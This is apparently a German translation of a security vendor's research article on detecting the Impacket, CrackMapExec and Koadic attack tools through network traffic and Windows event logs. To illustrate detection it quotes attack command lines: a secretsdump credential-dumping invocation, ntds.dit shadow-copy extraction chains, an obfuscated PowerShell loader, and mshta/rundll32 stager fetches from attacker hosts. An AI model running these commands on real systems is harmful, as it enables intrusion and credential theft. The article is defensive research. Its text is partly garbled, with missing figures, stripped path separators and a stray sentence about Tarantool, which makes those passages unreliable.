Die Anzahl der Angriffe im Unternehmenssektor wächst jedes Jahr: beispielsweise als im Jahr 2016, und im Jahr 2018 waren es , als im vorherigen Zeitraum. Dazu gehören auch solche, bei denen das Hauptarbeitsmittel das Betriebssystem Windows ist. In den Jahren 2017–2018 führten die APT-Gruppen Dragonfly, APT28, Angriffe auf Regierungs- und Militärorganisationen in Europa, Nordamerika und Saudi-Arabien durch. Sie verwendeten dafür drei Werkzeuge — , und . Ihr Quellcode ist offen und auf GitHub verfügbar.
Es ist erwähnenswert, dass diese Werkzeuge nicht für den primären Zugriff, sondern für die Weiterentwicklung des Angriffs innerhalb der Infrastruktur verwendet werden. Angreifer nutzen sie in verschiedenen Phasen des Angriffs, die nach dem Durchbruch des Perimeters folgen. Dies ist, um es mal zu sagen, schwierig zu erkennen und oft nur mithilfe von Technologien oder Tools, die es ermöglichen, . Die Werkzeuge bieten eine Vielzahl von Funktionen — von Dateiübertragungen über Interaktionen mit der Registry bis zur Ausführung von Befehlen auf einer entfernten Maschine. Wir haben eine Untersuchung dieser Werkzeuge durchgeführt, um ihre Netzwerkaktivität festzustellen.
Was wir tun mussten:
- Verstehen, wie das Hacker-Toolset funktioniert. Erfahren, was Angreifer benötigen, um auszunutzen und welche Technologien sie nutzen können.
- Finden, was von den Sicherheitsmitteln in den frühen Phasen des Angriffs nicht erkannt wird. Die Phase der Erkundung kann übersprungen werden, entweder weil der Angreifer ein interner Bedrohungsakteur ist oder weil der Angreifer eine Schwachstelle in der Infrastruktur ausnutzt, die zuvor nicht bekannt war. Es wird möglich, die gesamte Kette seiner Handlungen wiederherzustellen, und daraus entsteht der Wunsch, weitere Bewegungen zu erkennen.
- Falsche Positivmeldungen von Eindringungserkennungssystemen auszumerzen. Man darf auch nicht vergessen, dass bei der Entdeckung von bestimmten Aktivitäten auf der Grundlage nur einer Erkundung häufig Fehler möglich sind. In der Infrastruktur gibt es in der Regel ausreichend Möglichkeiten, die auf den ersten Blick von legitimen nicht zu unterscheiden sind, um Informationen zu erhalten.
Was bringen diesen Angreifern diese Werkzeuge? Bei Impacket erhalten Angreifer eine umfangreiche Bibliothek von Modulen, die in verschiedenen Phasen des Angriffs nach dem Überwinden der Perimeter verwendet werden können. Viele Werkzeuge verwenden Impacket-Module intern — zum Beispiel Metasploit. Darin sind dcomexec und wmiexec für die remote Ausführung von Befehlen, secretsdump zum Abrufen von Anmeldedaten aus dem Speicher enthalten, die aus Impacket hinzugefügt wurden. Infolgedessen sorgt eine korrekte Entdeckung der Aktivitäten solcher Bibliotheken auch für die Entdeckung der Derivate.
Über CrackMapExec (oder einfach CME) haben die Schöpfer nicht zufällig „Powered by Impacket“ geschrieben. Zudem verfügt CME über fertige Funktionalitäten für gängige Szenarien: dazu gehören Mimikatz zum Abrufen von Passwörtern oder deren Hashes, und die Einbindung von Meterpreter oder Empire-Agenten zur Remote-Ausführung, sowie Bloodhound im Einsatz.
Das dritte von uns gewählte Werkzeug ist Koadic. Es ist relativ neu, wurde auf der internationalen Hacker-Konferenz DEFCON 25 im Jahr 2017 vorgestellt und zeichnet sich durch einen unkonventionellen Ansatz aus: die Arbeit über HTTP, JavaScript und Microsoft Visual Basic Script (VBS). Dieser Ansatz wird als living off the land bezeichnet: Das Werkzeug nutzt eine Reihe von Abhängigkeiten und Bibliotheken, die in Windows integriert sind. Die Entwickler nennen es COM Command & Control, oder C3.
IMPACKET
Die Funktionalität von Impacket ist sehr umfangreich, beginnend mit der Erkundung innerhalb von AD und dem Sammeln von Daten von internen MS SQL-Servern bis hin zu Techniken zum Abrufen von Anmeldedaten: dazu gehören der SMB-relay-Angriff und das Abrufen der Datei ntds.dit vom Domaincontroller, die die Hashes der Benutzerpasswörter enthält. Zudem führt Impacket Befehle remote aus, indem es vier verschiedene Methoden verwendet: über WMI, einen Dienst zur Verwaltung des Windows Taskplaners, DCOM und SMB, und dazu benötigt es Anmeldedaten.
Secretsdump
Lassen Sie uns secretsdump betrachten. Dieses Modul kann sowohl Zielmaschinen für Benutzer als auch Domänencontroller angreifen. Mit seiner Hilfe können Kopien der Speicherbereiche LSA, SAM, SECURITY, NTDS.dit erstellt werden, weshalb es in verschiedenen Phasen eines Angriffs sichtbar ist. Der erste Schritt bei der Verwendung des Moduls ist die Authentifizierung über SMB, für die entweder das Passwort des Benutzers oder sein Hash für einen automatischen Pass-the-Hash-Angriff erforderlich ist. Anschließend wird eine Anfrage zum Zugriff auf den Service Control Manager (SCM) gestellt, um Zugriff auf die Registrierung über das Protokoll winreg zu erhalten, mit dem der Angreifer Informationen über die ihm interessierenden Zweige erfahren und Ergebnisse über SMB erhalten kann.
In Abb. 1 sehen wir, wie beim Zugriff auf einen Registrierungsschlüssel über das Protokoll winreg der Zugriff auf LSA erfolgt. Dazu wird der DCERPC-Befehl mit dem Opcode 15 — OpenKey verwendet.

Abb. 1. Öffnung des Registrierungsschlüssels über das Protokoll winreg
Sobald der Zugriff auf den Schlüssel erhalten wurde, erfolgt das Speichern der Werte durch den Befehl SaveKey mit dem Opcode 20. Impacket macht dies auf sehr spezifische Weise. Es speichert die Werte in einer Datei, deren Name aus 8 zufälligen Zeichen besteht, mit der Endung .tmp. Darüber hinaus erfolgt der weitere Export dieser Datei über SMB aus dem Verzeichnis System32 (Abb. 2).

Abb. 2. Diagramm zum Abrufen des Registrierungsschlüssels von einem Remote-Computer
Es lässt sich feststellen, dass solche Aktivitäten im Netzwerk anhand von Anfragen an bestimmte Registrierungspfad über das Protokoll winreg, spezifischen Namen, Befehlen und deren Reihenfolge erkannt werden können.
Dieses Modul hinterlässt auch Spuren im Windows-Ereignisprotokoll, die es leicht erkennbar machen. So können wir beispielsweise nach Ausführung des Befehls
secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DCim Protokoll von Windows Server 2016 die folgende entscheidende Ereignisfolge sehen:
1. 4624 — Remoteanmeldung.
2. 5145 — Überprüfung der Zugriffsrechte auf den Remote-Service winreg.
3. 5145 — Überprüfung der Zugriffsrechte auf eine Datei im Verzeichnis System32. Die Datei hat den schon erwähnten zufälligen Namen.
4. 4688 — Erstellung des Prozesses cmd.exe, der vssadmin startet:
“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat5. 4688 — Erstellung eines Prozesses mit dem Befehl:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat6. 4688 — Prozess mit dem Befehl erstellen:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat7. 4688 — Prozess mit dem Befehl erstellen:
"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet > %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.batSmbexec
Wie bei vielen Tools für die Post-Exploitation gibt es auch bei Impacket Module zur Remote-Befehlsausführung. Wir konzentrieren uns auf smbexec, das eine interaktive Eingabeaufforderung auf dem Remote-Rechner bietet. Für dieses Modul ist auch eine Authentifizierung über SMB erforderlich, entweder mit Passwort oder dessen Hash. In Abb. 3 sehen wir ein Beispiel für die Verwendung eines solchen Instruments, in diesem Fall die Konsole des lokalen Administrators.

Abb. 3. Interaktive Konsole von smbexec
Der erste Schritt bei der Nutzung von smbexec nach der Authentifizierung ist das Öffnen des SCM mit dem Befehl OpenSCManagerW (15). Die Anfrage ist bemerkenswert: Im Feld MachineName hat der Wert DUMMY.

Abb. 4. Anfrage zum Öffnen des Service Control Managers
Anschließend erfolgt die Erstellung eines Dienstes mit dem Befehl CreateServiceW (12). Im Fall von smbexec können wir jedes Mal die gleiche Logik beim Erstellen des Befehls erkennen. In Abb. 5 sind die unveränderlichen Parameter des Befehls grün markiert, und die Parameter, die der Angreifer ändern kann, sind gelb gekennzeichnet. Es ist nicht schwer zu erkennen, dass der Name der ausführbaren Datei, ihr Verzeichnis und die Ausgabedatei geändert werden können, aber das Ändern der verbleibenden Parameter ist viel schwieriger, ohne die Funktionsweise des Impacket-Moduls zu beeinträchtigen.

Abb. 5. Anfrage zur Erstellung eines Dienstes über den Service Control Manager
Smbexec hinterlässt auch deutliche Spuren im Windows-Ereignisprotokoll. Im Protokoll von Windows Server 2016 sehen wir für die interaktive Eingabeaufforderung mit dem Befehl ipconfig die folgende Schlüsselereignisfolge:
1. 4697 — Dienstinstallation auf dem Opfergerät:
%COMSPEC% /Q /c echo cd > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 2. 4688 — Erstellung eines Prozesses cmd.exe mit den Argumenten aus Punkt 1.
3. 5145 — Überprüfung der Zugriffsrechte für die Datei __output im Verzeichnis C$.
4. 4697 — Dienstinstallation auf dem Opfergerät.
%COMSPEC% /Q /c echo ipconfig > 127.0.0.1C$__output 2>&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat 5. 4688 — Erstellen des Prozesses cmd.exe mit Argumenten aus Punkt 4.
6. 5145 — Überprüfung der Zugriffsrechte auf die Datei __output im Verzeichnis C$.
Impacket ist die Grundlage für die Entwicklung von Angriffswerkzeugen. Es unterstützt fast alle Protokolle in der Windows-Infrastruktur und weist dabei seine eigenen besonderen Merkmale auf. Dazu gehören spezifische winreg-Anfragen und die Verwendung der SCM-API mit charakteristischer Befehlsformulierung sowie das Format der Dateinamen und der SMB-Share SYSTEM32.
CRACKMAPEXEC
Das Tool CME soll in erster Linie diejenigen routinemäßigen Aufgaben automatisieren, die Angreifern zur Fortbewegung innerhalb des Netzwerks in die Quere kommen. Es ermöglicht die Zusammenarbeit mit den bekannten Tools Empire Agent und Meterpreter. Um Befehle heimlich auszuführen, kann CME diese obfuskiert. Mit Bloodhound (einem separaten Instrument zur Durchführung von Erkundungen) kann der Angreifer die Suche nach einer aktiven Sitzung des Domänenadministrators automatisieren.
Bloodhound
Bloodhound als eigenständiges Werkzeug ermöglicht eine fortgeschrittene Erkundung innerhalb des Netzwerks. Es sammelt Daten über Benutzer, Maschinen, Gruppen, Sitzungen und wird als PowerShell-Skript oder als Binärdatei bereitgestellt. Zur Informationsbeschaffung werden LDAP oder auf SMB basierende Protokolle verwendet. Das Integrationsmodul CME ermöglicht das Hochladen von Bloodhound auf die Maschine des Opfers, das Starten und das Abrufen der gesammelten Daten nach der Ausführung, wodurch die Aktionen im System automatisiert und weniger auffällig gemacht werden. Die grafische Oberfläche von Bloodhound stellt die gesammelten Daten in Form von Graphen dar, sodass der kürzeste Weg von der Maschine des Angreifers zum Domänenadministrator gefunden werden kann.

Abbildung 6. Bloodhound-Schnittstelle
Um auf der Maschine des Opfers ausgeführt zu werden, erstellt das Modul eine Aufgabe unter Verwendung von ATSVC und SMB. ATSVC ist eine Schnittstelle zur Arbeit mit dem Windows-Taskplaner. CME verwendet dessen Funktion NetrJobAdd (1) zur Erstellung von Aufgaben über das Netzwerk. Ein Beispiel dafür, was das Modul CME sendet, ist in Abbildung 7 dargestellt: dies ist der Aufruf des Befehls cmd.exe und obfuskierten Codes in Form von Argumenten im XML-Format.

Abbildung 7. Erstellung einer Aufgabe über CME
Nachdem die Aufgabe zur Ausführung eingereicht wurde, startet die Maschine des Opfers Bloodhound selbst, und dies ist im Datenverkehr sichtbar. Für das Modul sind LDAP-Anfragen zur Abfrage der Standardgruppen, der Liste aller Maschinen und Benutzer in der Domäne sowie zur Abfrage von Informationen über aktive Benutzersitzungen über die Anfrage SRVSVC NetSessEnum charakteristisch.

Abb. 8. Erhalt der Liste aktiver Sitzungen über SMB
Darüber hinaus wird der Start von Bloodhound auf dem Zielrechner mit aktivierter Überwachung von einem Ereignis mit der ID 4688 (Prozess erstellt) und dem Namen des Prozesses begleitet "C:WindowsSystem32cmd.exe". Bemerkenswert sind die Argumente der Befehlszeile:
cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "Enum_avproducts
Das Modul enum_avproducts ist aus funktionaler Sicht und hinsichtlich seiner Implementierung äußerst interessant. WMI ermöglicht es, mit der Abfragesprache WQL Daten verschiedener Windows-Objekte zu erhalten, was dieses Modul CME nutzt. Es generiert Anfragen an die Klassen AntiSpywareProduct und AntiМirusProduct über die auf dem Zielrechner installierten Schutzmaßnahmen. Um die benötigten Daten zu erhalten, stellt das Modul eine Verbindung zum Namensraum rootSecurityCenter2 her, formuliert dann die WQL-Anfrage und erhält eine Antwort. In Abb. 9 sind die Inhalte solcher Anfragen und Antworten dargestellt. In unserem Beispiel wurde Windows Defender gefunden.

Abb. 9. Netzanalyse des Moduls enum_avproducts
Oft ist das WMI-Audit (Trace WMI-Activity), in dessen Ereignissen nützliche Informationen zu WQL-Anfragen gefunden werden können, möglicherweise deaktiviert. Sollte es jedoch aktiviert sein, wird beim Start des Skripts enum_avproducts ein Ereignis mit der ID 11 gespeichert. Dies wird den Benutzernamen enthalten, der die Anfrage gesendet hat, sowie den Namen im Namensraum rootSecurityCenter2.
Jedes der CME-Module wies seine eigenen Artefakte auf, seien es spezifische WQL-Anfragen oder die Erstellung bestimmter Arten von Aufgaben im Task Scheduler mit Obfuskierung und charakteristischer für Bloodhound Aktivität in LDAP und SMB.
KOADIC
Ein besonderes Merkmal von Koadic ist die Verwendung der in Windows integrierten JavaScript- und VBScript-Interpreter. In diesem Sinne folgt es dem Trend "living off the land" – es hat keine externen Abhängigkeiten und nutzt die standardmäßigen Windows-Werkzeuge. Es ist ein Vollwertiges Command & Control (CnC)-Werkzeug, da nach einer Infektion ein "Implantat" auf dem Rechner installiert wird, das die Kontrolle ermöglicht. Ein solcher Rechner wird in der Terminologie von Koadic als "Zombie" bezeichnet. Wenn nicht genügend Berechtigungen für die vollwertige Nutzung auf der Seite des Opfers vorhanden sind, hat Koadic die Möglichkeit, diese zu erhöhen, indem es Techniken zum Umgehen der Benutzerkontensteuerung (UAC bypass) einsetzt.

Abb. 10. Koadic-Shell
Das Opfer muss die Kommunikation mit dem Command & Control-Server selbst initiieren. Dazu muss es einen zuvor vorbereiteten URI anfragen und den Hauptinhalt von Koadic mithilfe eines der Stager erhalten. Abbildung 11 zeigt ein Beispiel für den Stager mshta.

Abbildung 11. Initialisierung der Sitzung mit dem CnC-Server
Anhand der Variable WS in der Antwort wird klar, dass die Ausführung über WScript.Shell erfolgt, und die Variablen STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE enthalten wichtige Informationen zu den Parametern der aktuellen Sitzung. Dies ist das erste Paar Anfrage-Antwort in der HTTP-Verbindung mit dem CnC-Server. Folgende Anfragen sind direkt mit der Funktionalität der aufgerufenen Module (Implantate) verbunden. Alle Koadic-Module arbeiten nur mit einer aktiven Sitzung beim CnC.
Mimikatz
So wie CME mit Bloodhound funktioniert, arbeitet Koadic mit Mimikatz als eigenständiges Programm und hat mehrere Möglichkeiten, es zu starten. Unten ist ein Paar Anfrage-Antwort zum Laden des Mimikatz-Implantats dargestellt.

Abbildung 12. Übertragung von Mimikatz in Koadic
Es ist zu erkennen, wie sich das URI-Format in der Anfrage geändert hat. Es gibt jetzt einen Wert für die Variable csrf, die für das gewählte Modul verantwortlich ist. Ignorieren Sie ihren Namen; wir alle wissen, dass CSRF normalerweise etwas anderes bedeutet. In der Antwort kam derselbe Hauptinhalt von Koadic zurück, dem Code, der mit Mimikatz verbunden ist, hinzugefügt wurde. Dieser ist ziemlich groß, weshalb wir die Schlüsselpunkte betrachten werden. Vor uns liegt eine in Base64 kodierte Mimikatz-Bibliothek, eine serialisierte .NET-Klasse, die sie injizieren wird, und die Argumente zum Starten von Mimikatz. Das Ergebnis der Ausführung wird im Klartext über das Netzwerk übertragen.

Abbildung 13. Ergebnis der Ausführung von Mimikatz auf dem Remote-Rechner
Exec_cmd
Koadic verfügt auch über Module, die in der Lage sind, Befehle remote auszuführen. Hier werden wir dieselbe Methode zur Generierung von URIs und die bekannten Variablen sid und csrf sehen. Im Fall des exec_cmd-Moduls wird Code in den Body eingefügt, der Shell-Befehle ausführen kann. Unten ist solcher Code dargestellt, der in der HTTP-Antwort des CnC-Servers enthalten ist.

Abbildung 14. Implantat-Code exec_cmd
Die Variable GAWTUUGCFI mit dem bekannten Attribut WS ist erforderlich, um den Code auszuführen. Damit ruft das Implantat die Shell auf, indem es zwei Codezweige verarbeitet - shell.exec mit Rückgabe des Ausgabestroms und shell.run ohne Rückgabe.
Koadic ist kein typisches Tool, hat jedoch seine Artefakte, an denen es im legitimen Traffic gefunden werden kann:
- eine besondere Bildung von HTTP-Anfragen,
- die Verwendung der winHttpRequests API,
- Erstellung des Objekts WScript.Shell über ActiveXObject,
- ein großes ausführbares Körper.
Die ursprüngliche Verbindung initiiert den Stager, wodurch die Möglichkeit entsteht, seine Aktivität über Windows-Ereignisse zu erkennen. Für mshta ist dies das Ereignis 4688, das die Erstellung eines Prozesses mit dem Startattribut angibt:
C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6Während der Ausführung von Koadic können auch andere Ereignisse 4688 mit Attributen gesehen werden, die es gut charakterisieren:
rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1Das DBMS Tarantool ist ein attraktives, zukunftsträchtiges Produkt zur Erstellung von hochbelasteten Anwendungen.
Der Trend, von den landestypischen Ressourcen zu leben, gewinnt unter Angreifern an Popularität. Sie nutzen die in Windows integrierten Werkzeuge und Mechanismen für ihre Bedürfnisse. Wir sehen, dass beliebte Werkzeuge wie Koadic, CrackMapExec und Impacket, die diesem Prinzip folgen, zunehmend in APT-Berichten auftauchen. Die Zahl der Forks dieser Werkzeuge auf GitHub wächst ebenfalls, es erscheinen neue (aktuell sind es bereits etwa tausend). Der Trend gewinnt an Popularität wegen seiner Einfachheit: Angreifer benötigen keine externen Werkzeuge, da sie bereits auf den Maschinen der Opfer vorhanden sind und dazu beitragen, Abwehrmaßnahmen zu umgehen. Wir konzentrieren uns auf die Untersuchung des Netzwerkverkehrs: Jedes der oben beschriebenen Werkzeuge hinterlässt seine Spuren im Datenverkehr; eine detaillierte Untersuchung hat es uns ermöglicht, unser Produkt zu schulen. sie zu entdecken, was letztendlich hilft, die gesamte Kette von Cybervorfällen, an denen sie beteiligt sind, zu untersuchen.
Autoren:
- Anton Tyurin, Leiter der Abteilung Expert Services, PT Expert Security Center, Positive Technologies
- Egor Podmokov, Experte, PT Expert Security Center, Positive Technologies
Quelle: habr.com
